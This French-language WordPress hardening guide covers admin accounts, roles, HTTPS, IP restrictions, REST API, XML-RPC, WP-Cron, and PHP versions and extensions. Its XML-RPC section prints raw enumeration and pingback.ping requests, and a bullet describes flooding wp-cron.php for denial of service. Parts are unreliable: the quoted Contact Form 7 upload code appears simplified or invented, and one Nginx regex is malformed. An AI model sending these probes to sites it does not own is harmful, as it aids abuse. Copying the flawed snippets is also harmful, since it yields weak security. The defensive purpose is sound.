password123456/setup-wordpress-with-security-best-practiceGuide complet pour sécuriser les installations WordPress : couvre les modifications des comptes administrateurs, l'application du HTTPS, la sécurité des plugins, les permissions des fichiers et la configuration du serveur pour les sites d'entreprise statiques.
Ce document a été rédigé dans le but de convenir aux applications web développées avec WordPress qui n'interagissent pas avec les utilisateurs. Il est principalement destiné aux pages de marque d'entreprise, aux diverses vues statiques, aux pages de recrutement et aux sites similaires.
Pour les sites web où les utilisateurs s'inscrivent et utilisent librement le site, comme les communautés ouvertes, certains éléments de ce document peuvent ne pas être applicables. Veuillez en tenir compte lors de la lecture.
Ce document n'inclut pas tout le contenu nécessaire pour sécuriser WordPress.
Cependant, il inclut des informations générales et détaillées à un niveau qui permet des évaluations des risques de sécurité et des réponses aux vulnérabilités basées sur le guide.
Si vous trouvez cela utile, veuillez la "star" 🌟 pour soutenir les améliorations futures.
Lorsque vous installez WordPress, le nom d'utilisateur administrateur par défaut est "admin" sauf si vous le modifiez lors du processus d'installation. Le nom de compte "admin" est largement connu, il doit donc être changé pour un nom différent. Si vous continuez à utiliser "admin" comme nom d'utilisateur administrateur, un attaquant pourrait tenter une attaque par force brute en utilisant "admin" pour accéder à votre site WordPress.
Si un attaquant accède au compte administrateur WordPress, il aura un contrôle total sur le site web. Le nom d'utilisateur administrateur WordPress par défaut doit être changé pour un nom différent.
Audit :
Remédiation :
Remarque :
Par défaut, WordPress a cinq rôles d'utilisateur - "Administrateurs", "Éditeurs", "Auteurs", "Contributeurs", "Abonnés" Ces rôles vous permettent de contrôler les tâches que les utilisateurs peuvent effectuer sur votre site web en attribuant des permissions appropriées. Si les rôles et permissions des utilisateurs ne sont pas correctement gérés, les utilisateurs pourraient obtenir un accès inutile à des fonctionnalités critiques, posant un risque de sécurité important.
Audit :
Remédiation :
| n° | Rôle | Description | Personnel administratif |
|---|---|---|---|
| 1 | Administrateur | A un accès complet à toutes les fonctionnalités WordPress et peut gérer tout le contenu du site. | Administrateurs système |
| 2 | Éditeur | Peut gérer et publier les articles des autres utilisateurs, ainsi que modifier et publier du contenu. | Gestionnaires de services opérationnels, Contributeurs de contenu internes |
| 3 | Auteur | Peut écrire et publier ses propres articles, et a la permission de modifier ses propres articles. | Contributeurs de contenu internes |
| 4 | Contributeur | Peut écrire du contenu mais ne peut pas le publier. Les articles sont examinés et publiés par un administrateur. | Contributeurs de contenu internes |
| 5 | Abonné | Peut se connecter au site et gérer son profil personnel, mais ne peut pas écrire ou modifier du contenu. | Contributeurs de contenu internes |
Remarque :
WordPress inclut une fonctionnalité d'inscription des utilisateurs intégrée. Cette fonctionnalité est désactivée par défaut, mais elle peut être activée par un administrateur. Si cette fonctionnalité est activée, n'importe qui peut s'inscrire et potentiellement accéder au tableau de bord d'administration WordPress, ce qui peut entraîner des problèmes de sécurité. Pour la plupart des sites web qui ne sont pas destinés à fonctionner comme des communautés ouvertes, la fonctionnalité d'inscription des utilisateurs est inutile et devrait rester désactivée.
Audit :
En utilisant un navigateur web
En utilisant curl
(response) HTTP/1.1 302 Moved Temporarily cache-control: no-cache, no-store, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 server: Apache content-length: 0 ... location: https://yourwordpress.com/wp-login.php?registration=disabled
**Remédiation :**
- Si l'inscription des utilisateurs est activée, désactivez-la.
- Décochez « N'importe qui peut s'inscrire »
## 4. Assurez-vous que l'éditeur de fichiers de plugins est désactivé
Si un attaquant accède à un compte Administrateur WordPress, il peut prendre le contrôle total de votre site web.
Il peut modifier le code de votre thème et de vos plugins via la fonctionnalité « Éditeur » intégrée, télécharger des scripts malveillants, défigurer votre site, spammer vos utilisateurs, etc.
Les piratages courants via ces éditeurs incluent les injections SQL, les piratages SEO par spam et le spam SEO japonais.
**Audit :**
- Vérifiez que l'éditeur de fichiers est désactivé.
- Vérifiez si vous pouvez accéder à l'éditeur via Apparence > Éditeur ou Plugins > Éditeur de plugins.
**Remédiation :**
- Si l'éditeur de fichiers est activé, désactivez-le en suivant ces étapes :
1. Accédez à votre fichier wp-config.php via le gestionnaire de fichiers ou FTP.
2. Ouvrez le fichier wp-config.php pour le modifier.
3. Faites défiler jusqu'en bas du fichier (si vous utilisez le wp-config.php par défaut).
4. Localisez la ligne suivante :
`
/* C'est tout, arrêtez d'éditer ! Bonne publication. */
`
5. Au-dessus de cette ligne, ajoutez le code suivant :
`
define('DISALLOW_FILE_EDIT', true);
`
6. Enregistrez les modifications et fermez l'éditeur.
7. Retournez à votre tableau de bord WordPress et confirmez que les options d'éditeur ne sont plus disponibles.
## 5. Assurez-vous que les plugins inutilisés et non nécessaires sont désactivés
De nombreuses vulnérabilités dans WordPress proviennent de problèmes de sécurité liés aux plugins.
Les plugins sont open source, ce qui facilite la recherche et l'exploitation des vulnérabilités par les attaquants.
Il est crucial de maintenir à jour les plugins que vous utilisez et de désactiver tous les plugins inutilisés pour éviter une exploitation potentielle.
**Audit :**
- Vérifiez que les plugins inutilisés et non nécessaires sont désactivés.
- Vérifiez que les plugins inutilisés et non nécessaires sont désactivés.
**Remédiation :**
- Désactivez tous les plugins inutilisés et non nécessaires en suivant ces étapes :
**Utilisez Plugin Check - PCP :**
- PCP : https://wordpress.org/plugins/plugin-check
1. Installez et activez Plugin Check (PCP) :
- Allez dans votre tableau de bord WordPress.
- Naviguez vers Plugins > Ajouter.
- Recherchez « Plugin Check » et installez-le, puis activez-le.
2. Lancez une vérification des plugins :
- Dans le tableau de bord WordPress, allez dans le menu Plugin Check.
- Sélectionnez les plugins que vous souhaitez vérifier et lancez l'analyse.
3. Analysez les résultats de l'analyse :
- PCP analysera le code du plugin et fournira un rapport, incluant :
- Conformité aux normes de code : dans quelle mesure le plugin respecte les normes de codage WordPress.
- Problèmes de sécurité : vulnérabilités potentielles ou code malveillant.
- Problèmes de performance : impact sur les performances du site web.
- Problèmes de compatibilité : si le plugin est compatible avec d'autres plugins et thèmes.
4. Identifiez les plugins problématiques :
- Si le rapport met en évidence des vulnérabilités de sécurité importantes, du code malveillant ou de nombreuses violations des normes de codage, le plugin est probablement « suspect ».
- Méfiez-vous des plugins qui effectuent des requêtes externes inutiles ou exécutent des requêtes de base de données excessives.
5. Résolvez les problèmes :
- Corrigez les problèmes identifiés en mettant à jour ou en trouvant les problèmes sur les pages des plugins.
- Évitez d'utiliser des plugins présentant des problèmes de sécurité graves. Trouvez des plugins alternatifs si nécessaire.
**Gestion des plugins :**
1. Sélection des plugins :
- Utilisez les référentiels officiels, vérifiez les avis et les évaluations, vérifiez la crédibilité du développeur.
- N'utilisez pas de plugins inconnus ou non vérifiés.
2. Mises à jour régulières :
- Maintenez les plugins à jour pour garantir les derniers correctifs de sécurité.
3. Désactivez et supprimez les plugins inutilisés :
- Même les plugins inactifs peuvent représenter un risque de sécurité, alors supprimez-les s'ils ne sont pas utilisés.
- Minimisez les plugins : utilisez uniquement les plugins essentiels.
## 6. Assurez-vous que WordPress est configuré pour utiliser HTTPS uniquement, y compris l'administration WordPress
Aujourd'hui, la plupart des sites web sont configurés pour fonctionner via SSL (HTTPS).
Cependant, certains serveurs web peuvent encore être configurés par erreur pour gérer à la fois les connexions HTTP et HTTPS.
Cela peut permettre un accès à WordPress via les deux protocoles, ce qui constitue un risque de sécurité. WordPress, y compris l'administration WordPress, doit être forcé à utiliser exclusivement HTTPS.
**Audit :**
- Vérifiez que WordPress, y compris l'administration WordPress, est configuré pour être accessible uniquement via HTTPS.
- Vérifiez la configuration VirtualHost du serveur web pour vous assurer qu'il n'y a pas de VirtualHost HTTP configuré.
**Remédiation :**
- Si l'accès HTTP est possible, examinez et modifiez d'abord les paramètres du serveur web.
- Si le serveur possède des VirtualHosts HTTP, redirigez-les vers HTTPS ou supprimez les VirtualHosts HTTP.
- Si nécessaire, activez la fonctionnalité « FORCE_SSL_ADMIN » pour imposer l'accès HTTPS pour l'administration WordPress.
**Étapes pour activer FORCE_SSL_ADMIN :**
1. Accédez à votre fichier wp-config.php via le gestionnaire de fichiers ou FTP.
2. Ouvrez le fichier wp-config.php pour le modifier.
3. Faites défiler jusqu'en bas du fichier (si vous utilisez le wp-config.php par défaut).
4. Localisez la ligne suivante :
`
/* C'est tout, arrêtez d'éditer ! Bonne publication. */
`
5. Au-dessus de cette ligne, ajoutez le code suivant :
`
define('FORCE_SSL_ADMIN', true);`
`
6. Enregistrez les modifications et fermez l'éditeur.
Retournez à votre tableau de bord WordPress et reconnectez-vous pour vous assurer que l'administration WordPress est accessible uniquement via HTTPS.
**Redirection HTTP vers HTTPS sur le serveur web :**
1. Pour Apache :
```
<VirtualHost *:80>
ServerName votrewordpress.com
RewriteEngine On
RewriteCond %{HTTPS} off
RewriteRule ^(.*)$ https://%{HTTP_HOST}%{REQUEST_URI} [L,R=301]
</VirtualHost>
```
2. Pour Nginx :
```
server {
listen 80;
server_name votrewordpress.com;
location / {
return 301 https://$host$request_uri;
}
}
```
En vous assurant que WordPress et l'administration WordPress sont accessibles uniquement via HTTPS, vous pouvez considérablement améliorer la sécurité de votre site web, protéger les données et empêcher tout accès non autorisé.
## 7. Assurez-vous que les restrictions d'accès IP (ACL) sont appliquées
Vérifiez que les restrictions d'accès IP sont appliquées.
Pour exploiter WordPress de manière sécurisée, il est essentiel d'appliquer des restrictions d'accès IP à certaines URL, notamment l'administration WordPress, afin d'empêcher les utilisateurs, ordinateurs et robots indésirables d'y accéder. Cela implique d'autoriser l'accès uniquement depuis des adresses IP autorisées, comme les IP des administrateurs. De plus, la désactivation des fonctionnalités inutilisées est nécessaire pour minimiser les surfaces d'attaque.
Les URL à sécuriser incluent l'administration WordPress, l'inscription des utilisateurs (wp-signup.php), l'API REST JSON et la fonctionnalité XML-RPC.
Ce guide de sécurité cible les sites web orientés services, comme les blogs d'entreprise, les pages de recrutement, les sites de marque et les sites promotionnels, où l'interaction utilisateur est minimale et le contenu principalement présenté.
En mettant en œuvre des restrictions d'accès IP, vous pouvez réduire considérablement le risque d'accès non autorisé et améliorer la sécurité globale de votre site web.
### 7.1. Assurez-vous que les restrictions d'accès IP sont appliquées à l'administration WordPress.
Le chemin d'accès à l'administration WordPress est fixe, sous la forme de wp-login.php ou /wp-admin, ce qui le rend facilement accessible aux utilisateurs non autorisés.
Assurez-vous qu'une restriction d'accès IP est appliquée pour empêcher tout accès non autorisé à la page d'administration.
**Audit :**
- Vérifiez que les restrictions d'accès IP sont appliquées pour l'administration WordPress.
- Dans la plupart des cas, cela est configuré sur le serveur web (Apache, Nginx).
**Remédiation :**
- Si les restrictions d'accès IP ne sont pas appliquées, mettez-les en œuvre.
- Voici les méthodes pour appliquer les restrictions d'accès IP à l'aide des serveurs web Apache et Nginx.
**Application de la restriction d'accès IP à l'administration WordPress :**
- /wp-admin, wp-login.php
1. Pour Apache :
```
# Directive Files
<Files "wp-login.php">
Require ip 10.10.77.49 # Remplacez par votre adresse IP
</Files>
# Directive FilesMatch
<FilesMatch "^wp-login\.php$">
Require all granted
</FilesMatch>
# Directive mixte Directory, Files
<Directory /www/vhosts/votrewordpress>
Require all granted
AllowOverride None
<Files "wp-login.php">
Require ip 10.10.77.49 # Remplacez par votre adresse IP
</Files>
</Directory>
# Directive Location
<Location "/wp-admin">
Require ip 10.10.77.49 # Remplacez par votre adresse IP
</Location>
<Location "/wp-login.php">
Require ip 10.10.77.49 # Remplacez par votre adresse IP
</Location>
```
2. Pour Nginx :
```
location /wp-admin {
allow 10.10.77.49; # Remplacez par votre adresse IP
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Remplacez par votre adresse IP
deny all;
}
```
### 7.2. Restreignez l'accès IP ou désactivez la fonctionnalité API REST JSON
WordPress fournit deux fonctionnalités REST (xmlrpc, json rest api) qui sont activées par défaut lors de l'installation de WordPress.
L'API REST fournit des points de terminaison pour les types de données WordPress, permettant une interaction à distance avec le site pour des tâches telles que l'interrogation de publications ou de données, la modification de ressources, l'édition et la suppression.
Pour la plupart des sites WordPress, la fonctionnalité API REST n'est pas essentielle.
Son activation peut exposer WordPress à des attaques DDoS et peut entraîner une consommation de ressources et des ralentissements du site.
**Audit :**
- Vérifiez que la fonctionnalité API REST JSON est activée. (Par défaut : Activée)```
# curl -i -k https://yourwordpress.com/wp-json
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
content-type: text/html; charset=UTF-8
...
Server: Apache
{"name":"mywordress","description":"".......................
Correction :
Installer et activer le plugin "Disable REST API" :
Restriction d'accès IP pour l'API REST JSON :
<Location "/wp-json">
Require ip 10.10.77.49 # Replace with your IP address
</Location>
location ~ ^/wp-json/ {
allow 10.10.77.49; # Replace with your allowed IP address
deny all;
}
Comme pour l'API REST JSON, il est conseillé de désactiver l'API XML-RPC car elle n'est pas nécessaire pour la plupart des installations WordPress.
Si l'API REST est nécessaire, il est recommandé d'utiliser l'API REST JSON à la place.
XML-RPC présente deux faiblesses principales :
Attaques par force brute :
Attaques par déni de service via Pingback :
Si XML-RPC est activé, il peut encore être exploité pour de telles attaques.
Audit :
(response) HTTP/1.1 405 Method Not Allowed Date: Mon, 25 Jun 2018 08:30:24 GMT Server: Apache Allow: POST Content-Length: 42 Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
**Remédiation :**
- Désactiver la fonctionnalité XML-RPC à l'aide d'un plugin
**Installer le plugin "Disable XML-RPC-API" et l'activer :**
1. Accédez à votre tableau de bord WordPress
2. Allez dans Plugins > Ajouter.
3. Recherchez "[Disable XML-RPC-API](https://wordpress.org/plugins/disable-xml-rpc-api/)" et installez-le, activez-le.
4. L'API XML-RPC est maintenant désactivée.
**À propos des attaques par pingback XML-RPC :**
1. Vérifier que XML-RPC est activé
```
# curl -i -k https://yourwordpress.com/xmlrpc.php
(response)
HTTP/1.1 405 Method Not Allowed
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
XML-RPC server accepts POST requests only.
```
2. Recherche des méthodes XML-RPC disponibles
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 135
<?xml version="1.0" encoding="utf-8"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
(response)
HTTP/1.1 200 OK
cache-control: no-cache, no-store, must-revalidate, max-age=0
...
Server: Apache
Content-Length: 4272
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<params>
<param>
<value>
<array><data>
<value><string>system.multicall</string></value>
<value><string>system.listMethods</string></value>
<value><string>system.getCapabilities</string></value>
<value><string>demo.addTwoNumbers</string></value>
<value><string>demo.sayHello</string></value>
<value><string>pingback.extensions.getPingbacks</string></value>
<value><string>pingback.ping</string></value>
<value><string>mt.publishPost</string></value>
...
<value><string>wp.getUsersBlogs</string></value>
</data></array>
</value>
</param>
</params>
</methodResponse>
```
3. Effectuer des pingbacks
- Le succès d'une attaque par pingback et les méthodes de vérification spécifiques ne sont pas décrits.
```
(request)
POST /xmlrpc.php HTTP/1.1
Host: yourwordpress.com
Content-Length: 303
<?xml version="1.0" encoding="UTF-8"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value><string>call-back url for pingback result</string></value>
</param>
<param>
<value><string>https://yourwordpress.com/</string></value>
</param>
</params>
</methodCall>
(response)
HTTP/1.1 200 OK
...
Server: Apache
Content-Length: 370
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>0</int></value>
</member>
<member>
<name>faultString</name>
<value><string></string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
```
### 7.4. Désactiver WP-Cron ou restreindre la fonctionnalité
Dans WordPress, WP-Cron (wp-cron.php) est utilisé pour automatiser des tâches telles que la publication programmée d'articles, les vérifications de mises à jour de plugins/thèmes et l'envoi d'e-mails de notification.
WP-Cron fonctionne essentiellement en vérifiant la liste des tâches planifiées à chaque chargement de page.
Le problème survient en cas de chargement intensif de pages.
Étant donné que les tâches WP-Cron sont exécutées à chaque chargement de page, des accès répétés multiples entraînent des invocations WP-Cron correspondantes. Par conséquent, les ressources système peuvent devenir insuffisantes, ce qui ralentit le site, voire l'arrête.
C'est un phénomène réel et il est fréquemment exploité dans les attaques de vulnérabilité ciblant WordPress.
Si WP-Cron n'est pas nécessaire, il est conseillé de le désactiver.
Si nécessaire, restreindre l'accès aux seuls hôtes locaux.
**Audit :**
- Vérifier que WP-Cron est activé. (Par défaut : Activé)```
# curl -i -k https://yourwordpress.com/wp-cron.php
(response)
HTTP/1.1 200 ok
Date: Mon, 25 Jun 2018 08:30:24 GMT
Server: Apache
Allow: POST
Content-Length: 42
Content-Type: text/plain; charset=UTF-8
Remédiation :
Étapes pour désactiver WP-Cron :
/* That’s all, stop editing! Happy publishing. */define('DISABLE_WP_CRON', true);# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
Étapes pour activer "ALTERNATE_WP_CRON" :
/* That’s all, stop editing! Happy publishing. */define( 'ALTERNATE_WP_CRON', true );# Files Directive
<Files "wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Files>
# FilesMatch Directive
<FilesMatch "^wp-cron\.php$">
Require ip 127.0.0.1 # localhost only
</FilesMatch>
# Location Directive
<Location "/wp-cron.php">
Require ip 127.0.0.1 # localhost only
</Location>
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
Exemple : Utilisation du cron système (crontab) :
.. ... */10 * * * * curl http://yourwordpress.com/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/yourwordpress.com/htdocs; php /var/www/yourwordpress.com/htdocs/wp-cron.php?doing_wp_cron > /dev/null 2>&1
*/10 * * * * cd /var/www/example.com/htdocs; wp cron event run --due-now > /dev/null 2>&1
**À propos de l'attaque DoS via wp-cron.php :**
- Envoyer un volume important de requêtes vers wp-cron.php
- Cela entraîne une consommation excessive de ressources par le script, surchargeant ainsi le serveur
## 8. Configuration système pour un WordPress sécurisé.
Assurer un fonctionnement sécurisé de WordPress nécessite une configuration appropriée du serveur web et un durcissement des composants backend.
Voici plusieurs éléments essentiels qui doivent être vérifiés et mis en œuvre.
### 8.1. S'assurer d'utiliser des versions de WordPress et PHP non en fin de vie (EOL)
Pour maintenir une installation WordPress sécurisée, il est essentiel d'utiliser des versions de WordPress et PHP qui ne sont pas en fin de vie (EOL).
Les versions EOL ne sont plus prises en charge et ne reçoivent pas de mises à jour de sécurité, ce qui rend votre site vulnérable aux problèmes de sécurité non corrigés.
L'utilisation de versions prises en charge garantit que toutes les vulnérabilités découvertes sont rapidement traitées, protégeant ainsi votre site des attaques potentielles.
Voici ce que vous devez faire pour vérifier et mettre à jour vos versions WordPress et PHP :
**Audit :**
- Vérifiez que vos versions actuelles de WordPress et PHP ne sont pas en EOL.
**Correction :**
- Installez et exécutez des versions non EOL de WordPress et PHP.
- En mai 2024, la version prise en charge de WordPress est 6.5 et supérieure. Les versions PHP prises en charge sont 8.1, 8.2 et 8.3.
- Si vous utilisez un service d'hébergement web, profitez de leurs fonctionnalités de changement de version pour vous assurer d'exécuter des versions prises en charge de WordPress et PHP.
**Statut EOL en mai 2024**
1. PHP : [supported-versions](https://www.php.net/supported-versions.php)
- Versions actuellement prises en charge : 8.1, 8.2, 8.3
2. WordPress : [current-releases](https://wordpress.org/download/releases/)
- Versions actuellement prises en charge : série 6.5
**Exemple : PHP dans RockyLinux 8.5**
- Dans RockyLinux 8.5, les versions PHP par défaut disponibles sont 7.2, 7.3 et 7.4.
```
# dnf module list php
Rocky Linux 8 - AppStream
Name Stream Profiles Summary
php 7.2 [d] common [d], devel, minimal PHP scripting language
php 7.3 common [d], devel, minimal PHP scripting language
php 7.4 common [d], devel, minimal PHP scripting language
Hint: [d]efault, [e]nabled, [x]disabled, [i]nstalled
# dnf module enable php:7.4
==============================================================================================
Package Architecture Version Repository Size
==============================================================================================
Enabling module streams:
httpd 2.4
php 7.4
Transaction Summary
==============================================================================================
Is this ok [y/N]: y
Complete!
```
- PHP 7 a déjà atteint sa fin de vie (EOL) ; il est recommandé de passer à PHP 8.
- PHP 8 peut être installé à partir du dépôt REMI.
- Voici un exemple pour activer et installer PHP 8.2 en utilisant REMI :
```
# Install PHP 8.2 in Rocky Linux 8
# dnf install https://dl.fedoraproject.org/pub/epel/epel-release-latest-8.noarch.rpm
# dnf -y install https://rpms.remirepo.net/enterprise/remi-release-8.rpm
# dnf -y install yum-utils
# dnf module reset php
# dnf module install php:remi-8.2
Last metadata expiration check: 0:00:39 ago on Tue 13 Dec 2022 07:19:26 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing group/module packages:
php-cli x86_64 8.2.0-1.el8.remi remi-modular 5.4 M
php-common x86_64 8.2.0-1.el8.remi remi-modular 1.3 M
php-fpm x86_64 8.2.0-1.el8.remi remi-modular 1.9 M
php-mbstring x86_64 8.2.0-1.el8.remi remi-modular 574 k
php-xml x86_64 8.2.0-1.el8.remi remi-modular 254 k
Installing dependencies:
httpd-filesystem noarch 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 41 k
libxslt x86_64 1.1.32-6.el8 baseos 249 k
oniguruma5php x86_64 6.9.8-1.el8.remi remi-safe 212 k
Installing weak dependencies:
nginx-filesystem noarch 1:1.14.1-9.module+el8.4.0+542+81547229 appstream 23 k
Installing module profiles:
php/common
Enabling module streams:
httpd 2.4
nginx 1.14
php remi-8.2
Transaction Summary
=======================================================================================================================================
Install 9 Packages
# dnf update
# dnf install php
Last metadata expiration check: 0:00:23 ago on Tue 13 Dec 2022 07:29:55 AM UTC.
Dependencies resolved.
=======================================================================================================================================
Package Architecture Version Repository Size
=======================================================================================================================================
Installing:
php x86_64 8.2.0-1.el8.remi remi-modular 1.8 M
Installing dependencies:
apr x86_64 1.6.3-12.el8 appstream 128 k
apr-util x86_64 1.6.1-6.el8.1 appstream 104 k
httpd x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 1.4 M
httpd-tools x86_64 2.4.37-51.module+el8.7.0+1059+126e9251 appstream 108 k
libsodium x86_64 1.0.18-2.el8 epel 162 k
mailcap noarch 2.1.48-3.el8 baseos 38 k
mod_http2 x86_64 1.15.7-5.module+el8.6.0+823+f143cee1 appstream 153 k
rocky-logos-httpd noarch 86.3-1.el8 baseos 24 k
Installing weak dependencies:
apr-util-bdb x86_64 1.6.1-6.el8.1 appstream 23 k
apr-util-openssl x86_64 1.6.1-6.el8.1 appstream 26 k
php-opcache x86_64 8.2.0-1.el8.remi remi-modular 633 k
php-pdo x86_64 8.2.0-1.el8.remi remi-modular 166 k
php-sodium x86_64 8.2.0-1.el8.remi remi-modular 105 k
Transaction Summary
=======================================================================================================================================
Install 14 Packages
Total download size: 4.8 M
Installed size: 14 M
Is this ok [y/N]: y
# php -v
PHP 8.2.0 (cli) (built: Dec 6 2022 14:26:47) (NTS gcc x86_64)
Copyright (c) The PHP Group
Zend Engine v4.2.0, Copyright (c) Zend Technologies
with Zend OPcache v8.2.0, Copyright (c), by Zend Technologies
```
**Note :**
- Pour des instructions détaillées sur l'installation de PHP depuis le dépôt REMI : [rpms.remirepo.net](https://rpms.remirepo.net/)
- Documentation sur la compatibilité WordPress et PHP : [php-compatibility-and-wordpress-versions](https://make.wordpress.org/core/handbook/references/php-compatibility-and-wordpress-versions/)
### 8.2. S'assurer que seules les extensions PHP nécessaires à WordPress sont activées
Assurez-vous que seules les extensions PHP nécessaires à votre site WordPress sont activées.
Des extensions inutiles peuvent augmenter la surface d'attaque de votre site et exposer WordPress à des vulnérabilités de sécurité.
En activant uniquement les extensions requises, vous pouvez minimiser les risques potentiels et améliorer la sécurité globale.
Voici les extensions nécessaires au bon fonctionnement d'un site WordPress. **(Il ne s'agit pas d'une liste adaptée à des fins de durcissement de sécurité)**
| Extension | Description |
|-----------|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| json | Utilisé pour les communications avec d'autres serveurs et le traitement de données au format JSON. |
| mysqli | Se connecte à MySQL pour les interactions avec la base de données. |
| curl | Effectue des opérations de requêtes à distance. |
| dom | Utilisé pour valider le contenu des widgets de texte et pour configurer automatiquement IIS7+. |
| exif | Fonctionne avec les métadonnées stockées dans les images. |
| fileinfo | Utilisé pour détecter le type MIME des fichiers téléchargés. |
| hash | Utilisé pour le hachage, y compris les mots de passe et les paquets de mise à jour. |
| igbinary | Améliore les performances en tant que remplacement direct du sérialiseur PHP standard. |
| imagick | Offre une meilleure qualité d'image pour les téléchargements de médias. Voir WP_Image_Editor pour plus de détails. Redimensionnement d'image plus intelligent (pour les petites images) et prise en charge des vignettes PDF, lorsque Ghost Script est également disponible. |
| intl | Active les opérations tenant compte des paramètres régionaux, y compris, mais sans s'y limiter, le formatage, la translittération, la conversion d'encodage, les opérations de calendrier, le classement conforme, la localisation des limites de texte et le travail avec les identifiants de locale, les fuseaux horaires et les graphèmes. |
| mbstring | Utilisé pour gérer correctement le texte UTF8. |
| openssl | Connexions basées sur SSL vers d'autres hôtes. |
| pcre | Augmente les performances de la recherche de motifs dans le code. |
| xml | Utilisé pour l'analyse XML, par exemple depuis un site tiers. |
| zip | Utilisé pour décompresser les plugins, thèmes et paquets de mise à jour de WordPress. |
| bc | Pour les mathématiques de précision arbitraire, qui prend en charge des nombres de toute taille et précision allant jusqu'à 2147483647 chiffres décimaux. |
| filter | Utilisé pour filtrer de manière sécurisée les entrées utilisateur. |
| image | Si Imagick n'est pas installé, la bibliothèque graphique GD est utilisée comme solution de repli fonctionnellement limitée pour la manipulation d'images. |
| iconv | Utilisé pour convertir entre jeux de caractères. |
| shmop | Shmop est un ensemble de fonctions faciles à utiliser qui permet à PHP de lire, écrire, créer et supprimer des segments de mémoire partagée Unix. |
| simplexml | Utilisé pour l'analyse XML. |
| sodium | Valide les signatures et fournit des octets aléatoires sécurisés. |
| xmlreader | Utilisé pour l'analyse XML. |
| zlib | Compression et décompression Gzip. |
Les extensions essentielles peuvent être trouvées ici : [WordPress Hosting Handbook: PHP Extensions](https://make.wordpress.org/hosting/handbook/server-environment/#php-extensions)
**Audit :**
- Vérifiez que seules les extensions PHP nécessaires à votre site WordPress sont activées.
**Correction :**
- Supprimez toutes les extensions inutiles. Parfois, des extensions sont installées avec des plugins, qui peuvent ne pas être nécessaires pour votre site.
- Pour vérifier les extensions PHP actuellement activées, vous pouvez consulter le fichier **php.ini** ou utiliser la fonction **phpinfo()** pour lister toutes les extensions actives.
- Certaines extensions, si elles ne sont pas nécessaires, doivent être désactivées pour éviter des problèmes de sécurité potentiels.
- Par exemple, des extensions comme exif, fileinfo, imap, soap, pdo_sqlite et opcache pourraient être exploitées si elles restent activées sans être utilisées correctement.
- Si vous utilisez un service d'hébergement web, de nombreux fournisseurs proposent des interfaces faciles à utiliser pour modifier les paramètres PHP, y compris l'activation ou la désactivation des extensions PHP. Grâce à ces fonctionnalités, vous pouvez gérer efficacement les extensions.
### 8.3. Assurer la sécurité des plugins avec des fonctionnalités de téléchargement de fichiers
Les plugins avec des capacités de téléchargement de fichiers peuvent représenter un risque de sécurité important s'ils ne sont pas correctement sécurisés. Les vulnérabilités dans les fonctions de téléchargement de fichiers peuvent permettre à des attaquants de télécharger des shells web, ce qui peut entraîner une compromission complète du système. Par conséquent, il est crucial de s'assurer que toute fonctionnalité de téléchargement de fichiers inclut des mécanismes de validation et d'assainissement.
Pourquoi est-ce important ?
1. Validation de l'extension :
- Le serveur doit valider les extensions de fichiers par rapport à une liste blanche des types autorisés pour empêcher le téléchargement de fichiers malveillants.
2. Vérification du type MIME :
- Le type MIME du fichier doit être vérifié pour s'assurer qu'il correspond au type attendu, ajoutant ainsi une couche de sécurité supplémentaire.
3. Restrictions du chemin de téléchargement :
- Assurez-vous qu'il n'y a pas de chemins exposés permettant un accès direct aux fichiers téléchargés sans validation.
Les vulnérabilités de téléchargement de fichiers sont particulièrement dangereuses car elles offrent un chemin direct aux attaquants pour télécharger du code exécutable et exécuter des commandes arbitraires. Les vulnérabilités de téléchargement de fichiers sont souvent plus faciles à identifier et à exploiter par rapport à d'autres failles de sécurité comme l'injection SQL.
**Audit :**
- Identifiez les plugins avec fonctionnalité de téléchargement de fichiers sur votre site WordPress.
- Vérifiez que ces plugins implémentent des contrôles de validation appropriés pour les fichiers téléchargés, y compris la validation de l'extension et du type MIME.
**Correction :**
- Si un plugin avec fonctionnalité de téléchargement de fichiers manque de validation appropriée, soit améliorez sa sécurité, soit supprimez le plugin.
- Voici des exemples de plugins WordPress populaires avec des fonctionnalités de téléchargement de fichiers et comment ils gèrent la validation des fichiers.
**Exemple : Plugins WordPress populaires avec gestion du téléchargement de fichiers**
1. Contact Form 7
- Contact Form 7 est l'un des plugins de formulaire les plus utilisés dans WordPress. Il inclut une fonctionnalité de base de téléchargement de fichiers avec validation de l'extension et du type MIME.**Code pour les extensions autorisées et la vérification des types MIME :**
```
function wpcf7_allowed_file_extensions() {
// Extensions de fichiers autorisées par défaut
$allowed_file_extensions = array(
'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx',
'xls', 'xlsx', 'txt', 'csv', 'rtf', 'html', 'zip'
);
return $allowed_file_extensions;
}
function wpcf7_handle_upload( $file ) {
$allowed_mime_types = wpcf7_allowed_file_extensions();
$file_type = wp_check_filetype( $file['name'] );
